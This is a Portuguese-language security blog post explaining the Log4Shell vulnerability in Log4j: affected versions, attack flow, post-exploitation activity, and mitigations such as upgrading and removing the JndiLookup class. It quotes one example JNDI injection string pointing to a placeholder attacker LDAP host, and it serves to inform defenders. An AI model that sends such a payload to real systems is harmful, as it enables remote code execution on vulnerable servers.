Log4Shell – A área de segurança da informação tem ficado em polvorosa com uma vulnerabilidade encontrada no Log4j, é só o mais utilizado sistema de logs para aplicações web feitas em Java. Clique aqui para ver mais detalhes sobre a Arquitetura do Log4j.

E do que se trata essa vulnerabilidade que tanto falam?

A vulnerabilidade Log4shell

Catalogada na CVE-2021-44228 e apelidada de Log4Shell ou LogJam, a vulnerabilidade permite que um invasor execute código de forma remota (RCE) sem autenticação em qualquer aplicação web que utilize o Log4j nas versões 2.0-beta9 até a 2.14.

Para você ter ideia da gravidade, a vulnerabilidade Log4shell recebeu uma pontuação CVSS de 10, numa escala que vai de 0 a 10. Caso não saiba, o CVSS é um indicador de gravidade de problema, onde são realizados alguns cálculos para se chegar a uma pontuação. Clique aqui para maiores informações sobre o CVSS e aqui para acessar a calculadora de pontuação do CVSS.

Muitas aplicações web funcionam em cima da linguagem Java. Muitas mesmo. Vários servidores web (como o Apache Tomcat por exemplo) utilizam o Log4j para gerenciar os logs gerados por estas aplicações. Pensando nisso, numa simples busca na ferramenta de busca Shodan, vemos que existem mais de 610 mil servidores Tomcat “expostos” durante a escrita deste post.

Log4Shell: A vulnerabilidade que coloca em risco aplicações web Java
Servidores Apache Tomcat expostos

Detalhe, o Brasil está em 5° lugar dos países que mais possuem servidores Apache Tomcat, com mais de 17 mil instalações.

Agora, se estes sistemas estão vulneráveis ou não é uma coisa, mas que essa lista pode ajudar os atacantes em sua atividade de coleta de informações para posteriores explorações, isso com certeza é perfeitamente possível.

Como os ataques ocorrem?

A Microsoft tem observado que a maior parte dos ataques recentes estão relacionados com uma varredura em massa de rede executadas por invasores que desejam saber se os sistemas estão vulneráveis, numa atividade que chamamos de coleta de informações. E de modo mais genuíno, no meio dessa varredura em massa temos também empresas de segurança da informação e pesquisadores.

Um exemplo do padrão destes ataques aparecem nos registros de requisições web com determinadas strings, como a seguinte:

${jndi:ldap://[sitedoatacante]/a}

Um invasor realiza esta requisição (GET) contra um sistema alvo, que gera um log via Log4j. Em seguida usa o JNDI para fazer uma requisição ao site controlado por ele mesmo (o invasor). A vulnerabilidade permite que o processo explorado chegue ao site e execute o payload (código malicioso do invasor). Em muitos ataques observados pela Microsoft, o parâmetro usado é de um sistema de registro de DNS, destinado a registrar uma solicitação no site para obter a impressão digital dos sistemas vulneráveis.

Log4Shell: A vulnerabilidade que coloca em risco aplicações web Java
Fases do ataque | Créditos da imagem: https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j

Além destas atividades, foram observadas também as de pós-exploração. Uma vez que o invasor tenha acesso e controle total de uma aplicação web, ele poderá executar várias ações. A Microsoft tem observado atividades como a instalação de mineradores de criptomoedas, o Cobalt Strike para permitir o roubo de credenciais e a movimentação lateral, bem como também o vazamento (exfiltration) de dados dos sistemas comprometidos.

Facilidade de exploração

O cenário fica ainda mais perigoso quando vemos a facilidade com que a vulnerabilidade pode ser explorada: mesmo um “hacker” inexperiente (diga-se um newbie ou script kiddie) pode executar código remoto no sistema alvo explorando a vulnerabilidade. De acordo com pesquisadores, os invasores precisam apenas forçar a aplicação a gravar uma string no log, e depois disso, carregar seu próprio código devido a uma função chamada message lookup substitution.

Além dessa facilidade de exploração temos visto a existência de centenas de PoCs no Github (118 no momento da escrita dest post), o que pode ajudar ainda mais as tentativas de ataques.

PoCs disponíveis no Github

Corrigindo a vulnerabilidade

Como falamos, a função utilizada na exploração da vulnerabilidade é a message lookup substitution e que as versões afetadas do Log4j estão entre a 2.0-beta9 e a 2.14. Ok? Beleza…

A partir da versão 2.15, esta função já está desabilitada por padrão. Então a dica de ouro é que atualize a sua implementação do Log4j.

Caso a versão for a 2.10.0, você poderá adicionar o seguinte parâmetro na inicialização da aplicação:

-Dlog4j2.formatMsgNoLookups=True

Se for anterior a 2.10.0 e por algum motivo não puder atualizar, os desenvolvedores do Log4j recomendam remover a classe JndiLookup do seguinte classpath:

UPDATE – 15/12/2021

Foi constatado que mesmo um sistema estando com a versão 2.15 do Log4j, ainda poderá estar vulnerável. A 2.15 restringe as pesquisas JNDI ao host local por padrão, mas não funciona corretamente em algumas configurações. Além disso, a inserção da propriedade log4j2.noFormatMsgLookup como true em versões anteriores NÃO corrige corretamente a vulnerabilidades Log4Shell.

A versão 2.16.0 corrige este problema, já que ela remove o suporte para padrões de consulta (Message Lookup Substitution) e desabilita a funcionalidade JNDI por padrão.

Em versões anteriores a 2.16.0 a vulnerabilidade pode ser mitigada ao remover a classe JndiLoojup do classpath, com o comando:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Boas práticas

Para que tenhamos um ambiente um pouco mais seguro com relação a esta vulnerabilidade, segue abaixo algumas dicas valiosas:

  • Verifique em seu ambiente, mesmo que não tenha conectividade com o mundo externo, todas as aplicações web que possam utilizar o Log4j e execute as ações corretivas;
  • Acompanhe os boletins de segurança dos fabricantes de suas soluções de segurança para se certificar de que eles estão tomando medidas (como a criação de regras para as soluções, etc) de forma que o seu ambiente esteja protegido por tais soluções contra esta vulnerabilidade;
  • O francês SwitHak, especialista em segurança da informação, fez um compilado dos boletins de diversas empresas que desenvolvem soluções que podem usar o Log4j, que pode ser acessado aqui. Se seu ambiente utilizar algumas destas tecnologias, pense com carinho nas medidas de correção;
  • O especialista em Segurança da Informação, Anchises, postou em seu blog informações interessantes (e de forma humorada) sobre a vulnerabilidade Log4Shell. Vale a pena visitar!

Gostou do post (ou não)? Use os comentários para dar a sua opinião. Valeuuu!

Referências

https://thehackernews.com/2021/12/extremely-critical-log4j-vulnerability.html

https://www.kaspersky.com/blog/log4shell-critical-vulnerability-in-apache-log4j/43124/

https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/

Créditos da imagem usada na capa do post

https://www.secplicity.org/2020/07/14/critical-microsoft-server-dns-vulnerability-sigrred/

O que achou?

Animado
0
Feliz
0
Amei
1
Não tenho certeza
0
Bobo
0
RMJ
Adoro letras verdes sob um fundo preto...